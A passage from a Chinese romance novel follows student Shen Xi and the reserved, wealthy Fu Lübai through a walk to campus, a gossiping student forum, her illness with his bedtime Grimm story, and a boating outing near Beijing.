不等他开口,便又语调轻快无所谓的笑着说:“不用啦傅先生,总共也没多冷,你瞧外面挺多都穿上裙子了。”
说完她又冲他笑了下,算是到此为止,便去开了车门,“傅先生再见。”
随后下了车。
但这个见没再成。
傅律白也跟着下来。
沈晞听到身后的关门声后,下意识回头。
傅律白身长腿长,便已经走到了她身侧,浅笑着解释道:“这车太扎眼,怕开到门口给你添麻烦,陪你走一段。”
走一段?还怎么走,不就——
沈晞奇怪的看着他,目光下意识往旁一瞥,这一下愣住了。才发现没在校门口,而是学校前面的那条街,再往里开,便是上次他们吃东西的小吃街了。
同时看到了停在不远处的车,竟然不是那辆熟悉的小奔驰。而是一辆顶气派的深灰色宾利,线条更加的流畅,看上去更加的坚硬挺拔,威风凛凛的,如果当初是这辆大块头,田师傅怕是挤不进那个小胡同里了。
可这不是重点。
出酒店时,风一吹便有些头晕,都没注意到自己上的是什么车。
她诧异的看着傅律白,“怎么换车了?”
来时还是那辆小奔驰的。
“田师傅中间去加了躺油,回来时和人蹭了下,拿去包养了。”傅律白语调平和的解释。
“哦,这样啊。”沈晞放心下来。
她还以为出了什么事。
不得不说,这辆车确实太扎眼了,开到校门口,她从里面下来,难免会被有些人说什么。
傅律白是真的很妥帖周到,没想到连这种事都会提前想到。
下一秒,她猛然想到,是不是……那件搭在椅背上的西装外套也是如此。
披着一件一看就是成熟男性,并且质感很好价格不菲的西装外套,晚上回去,这看上去可能比从豪车上下来还要严重麻烦。
她不着痕迹的抬眸看了眼身旁的男人,月光笼在他的肩头,人依旧挺拔高大像是难以攀登的高山,可整个人确实柔和的,未见任何疏离。
两个人其实离得很近,近到,如果走路时摆动的手幅度大一点,就会碰到的程度。
晚风吹起头发,是那样的轻快。
两个人走的还是上次沈晞带他在胡同里穿梭的那条路,越近学校学生便越多了起来,有不少人悄悄的看着他们,两个人实在是太出挑。
沈晞感受着周围的那些目光,头微动仍是看着前方的,却小声和傅律白讲,“现在似乎也很扎眼。”
这个男人是不是不知道自己有多引人注目啊,可能比那辆气派的豪车还吸引人的注意力。
而傅律白却微微垂下眸,声音温淡道:“抱歉,忘记找个地方让你换下这条漂亮的裙子,可一路上你实在睡得太香。”
他却再说是因为裙子的漂亮,变相的夸着她。也轻易的不着痕迹的将话题转移,也悄悄将她的思维方向都带走。
没有哪个女孩子会不吃这一套,即便清醒如沈晞,也还是在这一刻有些傲娇的努力克制着那含羞的雀跃,可嘴角却按捺不住的微勾,又很快抿了下,微微仰头,像是本事如此,她应当撑得起这样的赞美,很是大方的接收。
一路上,都有人和她打着招呼,关系一般的叫着“学姐”,相熟的叫着“茜茜”,边叫着边悄悄看着她和她身旁的傅律白。
她都一一应下。
“茜茜。”在快走到麻辣烫摊时,和郑奇杰迎面碰上,“才回来,加班?”
他话这样说着,目光却不着痕迹的打量着一旁的傅律白。
沈晞点了点头。
可不就是加班么,陪着老板应酬又要帮他挡一些个桃花,还是男女都要挡的那种,忙得很。
想到这,她别有深意,又带着几分打趣的看了眼傅律白。
察觉到视线,傅律白也很自然的看了眼她,大方浅笑的接受着她的控诉。
但就是这一眼,却让郑奇杰心中警铃大作,那一眼实在是太包含情绪,那双圆圆的漂亮清纯的大眼睛眼尾轻勾的那一下,竟然带着说不出的勾人。
那不是普通的,看向男性的眼神,至少他从未看到过沈晞这样看过别人。
而他身旁这个男人,无论气质打扮都非常人,可以轻易的让任何一位男性产生危机感。
“这位是?”他看着傅律白,最后又将视线落回了沈晞脸上。
“……”
怎么今天都来问她和傅律白的关系。
本来也没什么,可刚刚傅律白讲完后,被他搞得,自己也好像开始注意这方面细节。
要是说老板,他们的相处模式明显不是那么回事,又这么晚回来,这看上更像是什么见不得人的权色交易;
要说是朋友,那便也会往那些个“麻烦”上令人深思。
沈晞下意识看了傅律白一眼。
傅律白也漫不经心的看向她,眼底带着几分看热闹的浅浅弧度,想看她怎么说。
他当然感受的到对面这个小男孩的打探和敌意,却不会有丝毫的介意,到了他这个年纪又怎么会和这样的小男孩计较。
其实即使在同样的年龄,傅律白这么大时,也不会将这样的小男孩放在眼中。
“……”
既然都不太合适,沈晞灵机一动,随便敷衍道:“亲戚。”
“亲戚?”郑奇杰一愣,又看了看傅律白。
傅律白也有些意外,没想到她会这么说。
沈晞却只点点头,直接向前走了,反正也不重要,只是打个招呼而已。
又走了五十米,走到人少的地方,沈晞才轻松了口气,一路下来真是打了不少招呼,多少有点累。
她随口道:“不然解释起来太麻烦。”
这是在像他解释那句“亲戚”。
这样说也不算错,小叔的学生,又在照顾她。
傅律白却轻睨着她,半拖着调子道:“看来茜茜小姐平时很受欢迎。”<
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p>无论男孩女孩都很喜欢她。
这也难怪,她会在被同事背刺时,觉得有些难过。
感受到他的打趣,沈晞也同样不紧不慢道:“不如傅先生。”
傅律白用眼神,无声的询问着她。
沈晞看着他,一字一顿道:“男、女、通、吃。”
大概是没听过这样直白冒犯的话,傅律白表情明显一怔。
沈晞却笑得越发愉悦,倒退着走着,边走边冲他摆手,眼底全是狡黠和得意,“再见啦,傅先生。”
——他太过疏离难懂,高高在上密不透风,好像什么都在他的掌控之中。她喜欢看他有着这样的情绪,这会让她觉得他并没有那样高不可攀。更喜欢见他因自己微怔或有着各种其他情绪不再那样稳的样子。
浅绿色的裙摆随风飘扬着,被风吹起的发也在她空荡荡白皙的胸口前轻抚,她身形轻快灵动,像森林里的精灵,盛小姐确实不会讲恭维的话,她确实天然去雕饰,轻易的就有着让人很难移开眼的清新与美好。
大概是乐极生悲,沈晞就这样面对着他得意的往后退着走,忽然脚下被绊了下,她几乎跟一只小鸭子般扑腾着胳膊飞了出去。
傅律白看着原本好好的人飞了出去,身体已经快过大脑的向前走了两步想伸手去扶。
但不知道怎么做到的,跟跳舞似的直接来了个三百六十度旋转,他甚至都想改天去问问,她是不是有舞蹈功底。身形生生让她给稳住了,还将人换了个方向,开始背对着他。
然后,她像是什么都没发生一样,不紧不慢的往前走着,挺胸抬头很是端庄。
只不过越走越快,到最后他几乎看不到的地方,直接跑了起来,跑的非常仓惶急促,从后面看有点像某个卡通人物。
傅律白愣了下,随后忍俊不禁的有些想笑。
直到身影再也看不见,才收回了视线。
回到车里。
“先生,禹先生已经去查了。”田师傅在前面,表情有些谨慎的说。
傅律白眼底的笑意散去,又恢复到以往的清淡,但仔细看却有些发深发冷,“知道了。”
过了两秒,似乎又想到什么,说:“以后接她来时,记得换辆车。”
“是。”田师傅顿了下,随后明白过来,仔细的应着。
傅律白便没再讲话,微微闭目轻靠在椅背上,窗外的灯光照在他棱角分明的脸上,竟有几分不易察觉的疲倦。
旁边似乎还有着那股沾着露水般的葡萄果香味,傅律白深吸了一口气,再睁开眼时,已经看不出任何异样。
换车确实是因为出了事,但不仅是小小的剐蹭。
期间他让田师傅去办些事情,路上有辆越野车直直地撞了过来,好在田师傅反应快,又恰好赶上当时路上车上,田师傅才堪堪避过,却也还是将车头撞的有些变形。如果不是田师傅的技术,换成其他人,按照越野车当时的速度,会直接将他们这辆车撞翻。
田师傅现在还能不能好端端的在这开车,都不一定。
越野车司机监测一切正常,并未酒|驾毒|驾,只说是自己开车久了走神。
可直觉告诉他,这更像是一场有人蓄意安排的车祸。
回国以来,他一直开着这辆车,别有用心的人很容易查到。
但好在这人对他的动向并不算了如指掌。
鼻息间葡萄酒的果香味有些淡了,还好她当时不在。不然只因为被同事背刺都会不开心的乖宝宝,遇到这事,一定得哭。
沈晞没哭,但学校论坛里有不少人在哭。
他们两个人确实很扎眼,几乎没几分钟便有人在论坛上发了帖子。
[1楼]:啊啊啊啊你们在北门有看到茜茜学姐和一个男生在一起么,天呐美翻了帅惨了,巨巨巨配!
[2楼]:我我我我,我看到了!老天明星cp都没他们这么配的!我真的磕死啊啊啊!再一次认识到茜茜学姐绝美颜值
[3楼]:我也在我也在!啊啊啊没枉费我搞论文搞到现在出去吃了口饭,不仅仅是颜值配了,主要是那个气场好搭啊!就是让人一看到就觉得他们应该是一对的那种
[4楼]:啊啊啊我懂我懂!其实这就是所谓的cp感,是那种从内到外的适配,就感觉他们不能在一起简直让所有人都遗憾着急,想拉到一起让他们认识那种!
[5楼];就是所谓拉郎配是吧!这不就是我拉郎配初心,呜呜呜呜还好他俩不用让我拉了,我今天好满足啊啊啊,磕的好满足呜呜呜
有人为磕cp磕拉了而呜呜哇哇,也有人为了感知自己还未来得及恋便已经失恋而哇哇呜呜。
[33楼]:啊啊啊早知道我就去表白了,至少听到一句亲口拒绝
[39楼]:哥们我懂你,知道没可能所以连开口争取的勇气都没有,唉,下次我一定猛追!
这次男生们终于不再是情敌拔剑,而是失恋者联盟,难得的和谐,甚至因为知道茜茜身旁男人的优秀,是他们望尘莫及的,还产生了那么点同是天涯沦落人的悲怆。
但也有少数不太和谐的,像是傅律白顾虑到的言论。
[44楼]:……楼上的都别那么恋爱脑好么,那男人看上去就成熟有为,怎么会真的和学生妹认真恋爱啊……
[51楼]:对对对就你人间清醒,你直接说他们是各取所需权|色交易好了,装什么啊
[52楼]:怎么就那么见不得别人好啊,你要是酸了你就直说
[53楼]:我酸什么?酸她被别人玩弄?还是酸她出卖自己的身体和灵魂啊?笑死
眼看楼就要歪,冲着吵架和封楼去了。这时有人扔出了条消息过来。
[58楼]:大家别乱说了,我问了茜茜,茜茜说那只是她亲戚。大家别传谣别造谣
论坛里一时安静,没过几秒,刚刚还好串宿舍喝点小酒的男生们,再次情敌拔剑,而咧着个大嘴磕cp磕的美滋滋的人们笑容凝固,发出悲痛的惨叫。
已经在睡梦中的沈晞被这一声吓的在梦里抱紧了被子,随后翻了个身继续沉睡。
郑奇杰看着论坛安静下来,不再乱讲沈晞和那个男人的关系,才继续吃着麻辣烫。
-
第二天一早,锐昇集团。
前台小姑娘托着下巴,眼巴巴目送着上了电梯,并且庆幸今天早到了几分钟,能见到不怎么经常来公司的顾问。
傅律白径直到了行政部,手上还拿着一份早饭。
今天他特意来得有些早,昨晚喝了酒今早上如果不吃饭会不舒服,怕她来不及所以给拿了一份。
不过已经过了上班的点都没见到人来。
庄凡恰好从销售部走了过来,见到傅律白正想打招呼,便听傅律白问:“她人呢?”
庄凡愣了下,说:“茜茜病了,请了病假。”
“病了?”傅律白眉心不着痕迹的微蹙。
22. 第 22 章
过了两秒,傅律白眉又舒展。
想到昨夜某人在搞怪完后,穿着漂亮的裙子飞了出去,怕是故意没敢来,变成了小鸵鸟缩在被子里,怕他又取笑回去。
傅律白冲着庄凡点了下头,便又提着早餐离开。
留下庄凡兀自奇怪:怎么知道茜茜病了,看上去好像还很愉悦?
傅律白站在走廊尽头的落地窗前,上次沈晞和他讨价还价时的同款位置,初阳照着楼下的车水马龙,他拿出手机来,好整以暇的拨通了电话。
电话响了好几声,想着对面的人此时应该正在挣扎是否要从厚重的羽毛里伸出脑袋,站着的姿势愈发的放松舒适。
第五声后电话终于被接通,傅律白眉梢微挑,比他预想的好很多,他以为她至少要纠结到第十声,是个有种又劲劲儿的小姑娘。
可下一秒,他脸上的笑意散去,表情变得有些凝着,“真病了?”
“……”那头的人大概是对这句话有些不解和无语,过了两秒才声音微哑的说,“什么啊,病还有假的。”
听上去没什么精神,比刚刚接电话时那声“喂”带着更加明显的鼻音。
“还以为茜茜觉得昨夜丢了人,不好意思来。”
他的声音依旧清冷,可尾音却带了几分笑意,就是这样的反差感,听起来很是挠人。可即使是这样,沈晞想起昨晚她鸭子般的扑腾翅膀的飞奔,还是不由恼羞成怒,“傅律白——”
“我都病了,你还讲这些。”
她叫他的名字,尾音微拖,带着几分无奈和嗔怪。
傅律白总结出来,一般她使坏、打趣或者真的生气疏远他时,会叫他“傅先生”;
有事相求,真把他当朋友说些心里话或者恼怒时,会叫他的名字。
“到底怎么了?感冒,有发烧么?”他的声音也跟着不自觉轻软了几分。
“我也不知道。”沈晞下意识的摸了摸额头。
这会儿大抵是因为生病,声音都是乖的。
傅律白也是在此刻,有些理解了老师对她独自生存的担忧。
“吃药了么?”他又问。
“没吃。”沈晞不想动脑子,做什么都凭下意识,乖乖的有问必答。
就是答案一点都不乖,让人有点无奈。而且语调不是可怜巴巴那种,就是那种阐述现状,蛮无所谓的态度。
“……”
傅律白一时间竟不知道要说些什么,过了几秒才说:“休息吧。”
“哦。”
沈晞挂掉了这通慰问电话,虽然她觉得这通电话打来的初衷,应当是想来打趣她,来报昨晚那句“男女通吃”的仇。
她抱着被子,唇角勾起个浅浅的弧度。
窗外粉色的樱花被风垂落了一朵,砸落进下面的花海里,激起了一层粉红色的泡泡。
她便又这样迷迷糊糊的睡去,但睡得不沉,被开门声忽然吵醒。
然后便见刘颖蹑手蹑脚的走了进来,手上还拿着些什么东西。见她醒着,便放开了动作,将手上的一包放到了沈晞的桌子上。
然后有些关心的道:“你病啦?”
沈晞下意识想问,你怎么知道,不过还没来得及问,便见刘颖挤眉弄眼,带着点那种特有的暧昧和打趣道:“快下来,郑奇杰给你送了药和吃的。”
“我看了眼还是詹记的,我们学生会大会长很有心哦。”
还是那种调侃的语气,其实刘颖人不算坏,但就是这种乱猜测人的关系那种八卦感,让人不怎么舒服。上次讲宁今雨时也是,只是看到她被辆还不错的车接走,便说着带有指示性的话。
“他?他给我送什么?”但这会儿,沈晞确实没什么精力,“他都不知道我生病。”
“啊?”这下,轮到刘颖奇怪了,“刚回来的路上看到他正往外走,到楼下宿管阿姨就给了我备用钥匙,让我给你顺路送上来,她恰好有事要去办。我还以为是他呢,毕竟大家都知道他对你有意思。”
说到最后那句,刘颖语气里又带上了那股暧昧和调侃。
“什么他对我有意思?有什么意思?”或许别的女生在面对这种男女关系间的打趣调侃时,会觉得不好意思。但沈晞不会,也并不喜欢,成为别人的谈资或打趣的对象。
“啊……”刘颖被问的愣了下,“就是他喜欢你啊。”
“他亲口告诉你的?”沈晞没什么语调的反问。
但听起来,就有些冲。
大概是第一次遇到调侃人后,被这样的反问,刘颖有点懵,“大家都知道啊……”
沈晞还是刚才的语调,只不过语气又加重了些,“他亲口告诉大家了?”
“……”刘颖被问的哑口,脸色也有些不好看。
气氛有些僵。
“谢谢你帮我送东西过来,”最后还是沈晞先开了口,语气已经缓和,但还是提醒了她一句,“以后别乱讲了。”
刘颖看了她几秒,声音含糊的“哦……”了声,便走了。
只不过走出几步后,在走廊里一脸不爽的翻了个白眼,轻啐着,“装什么啊。”
装的是詹记的海鲜粥,沈晞将放在桌子上的塑料袋扒开,还有一包药,感冒、咳嗽、退烧消炎药一应俱全,甚至还有一支体温计。
郑奇杰不知道她生病,但有人知道。
沈晞轻抿了下唇,唇角是微微抑制不住上扬的弧度,心底好像又在冒着类似碳酸汽水般的泡泡。
她拿过手机,轻敲打着字,【你给我送了东西?】
其实之后有很多次她都在想,如果当时再敏锐一点,是不是她就会做出不一样的选择。
可往往大家身在其中时,是很难有时间去抽离出来,理智的分析自己的情绪,和它面对面冷静会晤的。
消息发出去,一时间没收到回复,她坐下来吃着海鲜粥。
是用保温袋送过来的,盖子上还带着热腾腾的水汽,每一种海鲜火候都把控的很好,保持着最佳的口感,大虾个头很足肉质紧实,鱿鱼很嫩不会难咬,但也不会失去原有的弹牙感,鲍鱼完整的一颗有着恰到好处的肉质纤维感,蟹肉被剥下来和小火慢煲的米混在一起,米粒粒饱满软糯,一口下去暖呼呼的鲜美又满足。
好像病都好了大半,不再那样恹恹。
吃到还剩下四分之一,已经完全吃不动时,手机轻响了下,消息也进来。
傅律白:【茜茜小姐跟我出去一趟回来就生了病,我总要负些责任】
傅律白猜测,应该还是昨晚冻着,又喝了酒,于是给本因为昨日差点出了车祸而放假的田师傅打了电话去,让给人送了药和那家的粥。
电话里,傅律白还在那托着几分笑意的讲,“反正你每次见她心情都很愉悦,去给她送些东西,可能比在家更起到休息的作用。”
这确实是真的,田师傅没退伍时便经历过很多事,和傅先生一起后又不算太平,在家里闲着其实更容易紧绷,于是一听要去茜茜小姐学校,便直接拿起了车钥匙出去。
傅律白则去开了个跨国会议,这会儿才结束,来得及回复消息。
其实真和傅律白没太大的关系,这几日忽然降温,她却惯常睡觉总是忘记关窗,宁今雨在宿舍时会想着关上,但不知道最近这段时间她在忙些什么,不是加班太晚回不来就是在那家民宿里打帮手,昨日宁今雨又发消息过来,提醒她晚间会有大风。
但她愉快完大概是情绪被透支,回来后还是有些头晕洗完澡便睡了,便也没看到这条信息。
不过她想,她当时那样懒,就算是看到也一定不会去关。
就这样被吹了一夜风,还喝了酒,再加上之前加班加的猛了没缓过劲儿来,如今又骤然松了口气,层层叠加下不生病都奇怪。
所以她一时间没想好怎么回。
那边人却直接将电话拨了过来。
沈晞将电话接通,真是奇怪,不是第一次接到他电话了,甚至不到一个小时前,他们还通过话,但这会儿,沈晞却莫名觉得自己的心脏跳的有些发快。
“烧么?”他在电话那头问。
还是温淡偏清冷的声音,但沈晞听着却有些全身发热,好像真的发烧了一样。
“……还没测。”
那边人像是无奈,带着几分好笑的说:“那你测测。”
沈晞拿出电子体温计来在额头上贴了贴,确实是有些烧的,37.5。
“有点。”
“那吃了药接着睡吧。”
沈晞就着水吞下了两颗感冒药,并未吃退烧药。那边的电话竟然还未挂断,大概是怕她还有什么需求,她便也没挂断,拿着手机再次爬上了床。
脸贴在柔软的被子里,大概软床暖被真的是会让所有人感觉到安全感和放松的地方,连心房都会随之一起大开,柔柔软软。
到底是有点低烧的,她还是有些难受,全身晕晕沉沉却睡不着。
她抱着被子,对着手机那头的人讲,“你把我吵醒,我现在睡不着。”
明明已是大白天,可她陷在被子里,声音却像夜间轻语。
“实在抱歉。”他在那边诚恳的表达的歉意,下一秒却又带着些笑意的问,“那怎么办。”
像是漫不经心的没当回事,又像是笑她的无赖、这也能怪上他,可也像是……无论她说什么,提出什么要求来,哪怕难如登天,在他眼中也不过尔尔,都可以满足她为她实现。
有一股暖流涌上心口,滚了滚,好像心脏也染上了肌肤的温度,发起了烧。
可她哪里有什么难如登天的事,忽然说:“傅律白,你给我讲讲睡前小故事吧,或许我听着听着就睡着了。”
自从妈妈不在后,她已经很久没有向别人提过这样的请求,可不知道为什么,在他那样问时,她便脱口而出了。
傅律白的声音其实很适合哄睡,清淡干净、带着某种秩序感的没什么语调起伏,又很磁沉。
“有一天公鸡和母鸡准备出门旅游,于是准备了一辆漂亮的车,并且在前面套了四只拉车的小老鼠。打算去科尔伯斯先生家里。路上又遇到了猫猫,鸡蛋,磨盘——”[1]
很标准的充满着可爱元素的童话故事,在这样没有太大情绪波动的声音里,沈晞的呼吸逐渐平和有节奏,就在她快要睡着时。
却听他讲——
“科尔伯斯先生没在家,这些东西全自己找了位置等待,科尔伯斯先生回来打算生火,却……磨破刚好落下来,砸死了他。这个科尔伯斯先生啊,保准是个大坏蛋。”[1]
沈晞顿时一个激灵清醒,过了两秒,尽量心平气和的和他讲,“傅律白,你知道睡前故事的意思吧?”
“当然,所以我给你讲了标准儿童睡前读物。”他这样讲。
“谁家儿童看这种啊!”沈晞一点都不信,声音都比之前有了力气。
“格林童话,很多儿童都看。”相比于沈晞的激动,傅律白显然淡定的多,甚至还奇怪的问了句,“你没看过么?”
“格、格林童话?”这样,轮到沈晞有些震惊的说不出话来。
她当然看过,那些耳熟能详的什么《白雪公主》、《灰姑娘》的,小的时候听到时,甚至也期待过会有王子来找她,都是一些个少女心炸裂的小故事,怎么可能出现这种啊!
“你骗谁呢?”
傅律白磁沉带着几分笑意的声音穿过手机,响在耳边,“我骗你干什么?”
他语气中的坦然,甚至让沈晞开始自我怀疑。
默默地拿起手机来开始搜寻,边搜边问:“这个故事叫什么?”
说不出来就是自己编的,她甚至打算开始重新评估傅律白的性格,虽然偶尔其实也能感受到一点他的打趣,但不至于这样恶劣,恶劣到什么有些幼稚吧?
这很崩人设诶!
然后就听他讲:“大概就叫《科尔伯斯先生》。”
他确实是有些记不清了,总共也没过几个故事,这还是他很小时听过的。也好在傅律白记忆力还算不错,还能记住这个,不然她忽然要听小故事,他都来不及去搜。
沈晞在半信半疑中搜索着,但心里大半是不信的。
可下一秒,画面跳转。
“????”
不但如此,她还顺势看到了很多和她记忆里《格林童话》完全不同的东西。
沈晞震惊了,同时带着困意被惊醒的哀怨怒气道:“这哪里适合儿童看了?这哪里童话了?!这什么暗黑风啊!我要投诉——”
一时间不知道是在投诉傅律白,还是在投诉这本书。
傅律白也只是浅笑,声音一直很轻,像是怕扰了她的睡意,漫不经心的像是在配合,“那你写份投诉信。”
最终也没有投诉,因为早就有无数人投诉过,现在流通的已经是温和修改过的版本,傅律白只是为她讲了没怎么删减过的故事。
后来,有一次他们在德国,在宴会中见了当时这方面的负责人,傅律白还半拖着调子的讲:之前不是说要投诉,现在你可以当面讲。
好在他说的是中文,在场的除了她没别人懂,她还是气的暗自伸手掐着他的腰。
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>这些只是后话,此时沈晞只觉得,大概以后她会记得这个上午,连心脏都有一瞬间骤停的这个不算童话的童话故事。
这件事本身,便已经像是童话。
听着那边响起绵长又均匀的呼吸声,傅律白才挂了电话。
助理周闻颂等在一旁,这会儿才问:“傅先生,会议是否现在继续安排?”
其实只是中场休息,与会人员还在那边等。有人已经在那头泡了咖啡,甚至奇怪向来行事干脆利落的傅先生这次怎么让他们休息这样的久。
傅律白轻点了下头,大步向办公室走去。
-
不像庄凡那样战力超强,烧成那样第二天就该上班上班走路带风,再也看不出一点病态。沈晞不像她那样有理想和报复,其实她真的是个没什么追求的懒人,休息了两天才去公司。
这两天里田师傅会给她来送吃的,大概是猜到她不会早起,便也没送早餐。中午和晚上也会将饭直接送到宿管室桌子上,基本是卡点来送,配上保温袋,她拿上去就能吃。
有一次凑巧,和田师傅碰上了面,两个人还聊上了几句。
其实两个人年龄差的有些大,也没什么话题可以聊,也只能围绕着傅律白来讲。
沈晞提着喷香扑鼻的乌鸡汤问:“你这样天天往我这跑,他是不是又躺在哪里偷懒享受啊。”
车都不用了。
不过傅律白确实很会找吃的,他送来的食物没有那么多店里各种调味料的味道,也不重油,却也不会寡淡有滋有味的鲜美。
田师傅也没瞒,“傅先生去了国外。”
沈晞这才知道,原来他这几天在国外。也很有分寸的没再问,去了哪里,去做什么。
田师傅又说:“茜茜小姐这两天要是用车,可以随时叫我。”
上次给她留了助理,这次为她留了车,不知道下次他要将什么留给她。
沈晞兀自想。
沈晞在学校这两天,还发现,和她告白的人异常的多。之前几年也不是没有偶尔和她告白,表示想要追求的,但这两天确实是过于多,多到她都有些应付不过来想要搬出去住了。
才在手机上收到一条消息,她拒绝完,便又进来第二条。消息还没处理完,没有她联系方式的,便请求同楼的女孩子来送一些表白信和传话的,她才和人讲完话关上门,没几分钟便又会有人来敲,最后她干脆不关门了。甚至还有直接在楼下摆着蜡烛,高喊她的名字的……
她猜,大概是临近毕业,所以才刺激了这么一大波人。每年毕业季,也都是表白高峰期。
但沈晞不知道,其实是那日论坛里她和傅律白刺激到了大家,在知道她仍旧单身后,明知道会被拒绝也要表达一次,免得留下遗憾。
两天后,她回到公司。
发现高层有不小的人员调动,尤其是那位度假的副总竟然被派到了海外拓展,听起来蛮好,但派去的地方是非洲,实属属于是开荒了。
沈晞暗自咋舌,感叹人生沉浮不过在别人一句话之间。
其实是监控室时,傅律白那看似漫不经心的一句话,却如敲打般让程开霁心生警觉,才洗牌了很多人。
不过这些都很沈晞没关系,和她有关的,是找了一天,好好感谢了一把那帮“草台班小分队”的小伙伴,毕竟帮了她一个大忙。
但恰逢项目彻底收尾,最终结账时还进行了好一番拉扯,项目组组长老周就不愿意,说着应该他来,但他喝的有点多,最终还是沈晞比他利落的请了这顿。
不过老周第二天清醒时,很不乐意,非要约请第二轮。
有了第二轮便有第三轮,其他人也都纷纷回请,每个周六日沈晞的档期都排的很满,轮着轮着就这样到了五月一。
临近毕业,同学四散,原本热闹鲜活的校园,竟然在放假前一天的下午,就开始变得冷清。
沈晞原本已经打算在寝室睡觉,傅律白却打了电话过来。
大概是怕她一个人孤单,答应小叔的照顾,当真做的很全面没有任何的敷衍。
傅律白在那边问:“泛过舟么?”
还真没有,她明明生在江南一带,儿时家里人偶尔也会去,但因为各种各样的原因她还真没去过。
“左右你在宿舍也是无聊,要不要来看个新鲜。”他那样漫不经心地问。
哪里是去看新鲜,分明还是怕她无聊,却听起来不会让人觉得有任何讨巧付出感,不会让人有什么隐形的压力,傅律白的语言技术向来有一套。
他是真的,只要他想,便可以让任何和他在一起的人,感到舒适。
这样的话术,便足够让人心动,沈晞自然不会拒绝,轻松的答应。
后来沈晞才得知,其实傅律白的家中老宅也在江南一带,也从未游过湖。
没想到他们两个江南人,也都在京市生活了不短的时间,而今却这样阴差阳错的在京市第一次泛舟游湖,倒也当真别有一番风味。
可这世间大多事往往都逃不过阴差阳错,而结果令人满意的也不过寥寥无几。
第二天沈晞才知道,原来这次的出游不止她和傅律白两个人。
还有程开霁和一位之前没见过的男士。
是禹开然,其实上次在警局见过,但当时沈晞情绪太过于紧张,只下意识眼睛跟着傅律白,没注意周边的人。
她大方的问着好。
禹开然却看着她顿了几秒,有些若有所思的笑着道:“沈小姐,我怎么听着你这声音有点耳熟,我们是之前在哪儿说过话?”
没有啊,她听着这人说话不耳熟啊。
沈晞有些茫然。
可看着一旁的程开霁,忽然想起,当时,第一次见面时,他好像也讲过类似的话,当时说的好像是,看着她眼熟——
她猛然意识到什么,下意识看向身旁的傅律白。
傅律白也淡淡看过来,眼底还带着几分漫不经心的浅笑,像是印证了她的猜测。
啊啊啊啊!酒吧那天这个人也在!
也见证了她惊天丢人的名场面。
以后再也不想跟傅律白出门了,谁知道他身边还有多少人有听到,时不时的,就来提醒她一次——
那天!她!究竟有!多么的!丢脸!
禹开然看着面前,刚刚还好好的,但现在明显有些僵愣,好像忽然失去了所有力气与手段的人,以为自己说错了话。
心里有些打鼓的,瞥了旁边的傅律白一眼。
却见人眼底柔和还带着些笑意。
顿时怔了下。
23. 第 23 章
他们家几代跟着傅家,做些鞍前马后的事情,说是世交其实远远不够格,能和傅家做世交的拢共也没几家。大家都唤他一声三哥,也是他不摆架子的给面子。
在这样的身份下,三哥待人已经足够宽厚,少有为难。前些年三哥不常在国内,可只要一回来都是他陪着办事,这么多年了,却也总觉得他仍是远近亲疏的厉害,走不近。或者说,对谁都是那个样子,看上去温和好讲话,跟谁都绅士有礼极具风度,甚至都未见过他有什么太过明显的情绪。
让人看不透,有时他甚至觉得这样的人不像个活人,可就在这一刻,他觉得三哥身上,多了些人气。
去的是京市西北郊。
沈晞以为这个节点,一定会人满为患,但竟然还好。
有三三两两的游客,不会拥挤也不显萧索,泛舟湖上,倒真有点古人那股闲情逸致。傅律白也真是厉害,假期都能让他找到稍显安静的地方。
四人同坐一舟,禹开然有着和他海王般的外表一样健谈的性格,“当年乾隆爷爱惨了江南,总去嘛还不够,什么都不如放在家门口的好,就把江南放到了自己眼前,据说当年的工匠单是在江南考察研究就用了两年的时间,又取意又研防园林设计手法,茜茜你瞧瞧这儿可有江南一二韵味。”
沈晞看着这环山抱水旁伫立的一座座园林,何止是有一二分韵味,拟态而非求真,有两三分相似绝杀的大胖橘都顶不住,他的后人恐怕也不遑多让……啊,姑且算是他的后人吧,何况这还是七八分的像,又不失皇家的气派与威严,想必是相当的满意的。
“他当时有没有重赏工匠,不说封官进爵也赏银千万了吧。”沈晞眉眼灵动带着几分八卦的笑着说着,算是从侧面肯定。
“那自然是赏了。”禹开然同样笑着,像是与有荣焉,也不知他是赏的还是受赏的那边。
但他没讲,再怎样满意相似,也不是原本的那个,哪怕留在身边时不时的看,心中也是牵挂着真真的那处,看几眼也便没了兴致。
而且越看,越会觉得东施效颦,哪里都是错,愈发厌烦也愈发想念远处那朦胧烟雨。
两人讲话时,程开霁还偶尔搭上几句,傅律白话是真的很少,只坐在那里,却是一身的闲情雅致,不会让人觉得游离,气场很舒服。
那种熟悉的感觉又来了,沈晞觉得她觉得这里有八|九分的像江南,恐怕也是他此时身上散发的这份淡淡的平和气场,又像是回到初遇时,隔着那朦胧雨雾给她的感觉。
像是在福泽万物,庇佑在他所在的气息下,有种说不出的安心与平和,不远处的鱼似乎都游的更加轻快。
可禹开然甚至是程开霁好像不是这样觉得的,据她观察,他们似乎有些怕他,也不是怕,是那种尊敬又客气,像是之前在胡同中的盛小姐那样。
沈晞下意识不着痕迹的看向身旁的男人,他姿态悠闲,靠坐在船椅上,阳光落在他的头发上,额前碎发闪着莹莹的光泽,目光微微向前,也不知是看着远方的景儿,还是在漫不经心的听着他们讲话。气质是真的很特殊出挑,沈晞想,当年的王孙公子把扇摇的风流,也便如此了。
为什么大家对他,都这样客气?
大概是察觉到她的目光,傅律白淡淡睨向她。
沈晞又不着痕迹的移开的视线。
湖岸尽头是座庙宇,七层宝塔庄严神圣,一行人没中途停下逛园林,反正本就是为了游一游京市的湖看个新鲜,但却下了船,在庙驻足。
禹开然的说法便是,“到了人家门口,不去拜访一下,实在是不礼貌。”
和程开霁两个人,进了庙中给全部菩萨佛祖拜了拜,诚心不知道有几成,但总归是那个意思。
傅律白便没那个礼貌了。
这个寺庙不算怎么有名,但总归算是在景区中,人来人往的也不会少香火。他就站在侧廊庭院中,旁边是郁郁葱葱的树,不远处还放着供游客饮用的免费茶壶,香烟袅袅,但就好像隔开了动与静,好似他在的地方总是静的……
但也不是,她也见过他身处数人拥簇于纸醉金迷中,应对从容的样子。
他是真的,很神奇,气质很矛盾,可又在某一刻,极其的统一。
“你怎么不进去拜?”沈晞问他。
傅律白闲散的站在那里,说话也闲散,“没什么好求的。”
像是一切尽已得到的人生赢家,已经无所求,这样随性慵懒的样子,在这里说着这样的话,尤其应着他因天气渐热,衣袖被随意解开微微挽起两折,而露出的佛珠垂在他白皙明显的腕骨上,显得格外的反差。
他似乎并不怎么信,在这里,心也是冷冷的,没产生半点多余的感情,可好似,越是这样,戴着这串佛珠越显得清冷。
这样的清冷疏离有的时候真的很拿人,可有时又会让人有些难过。
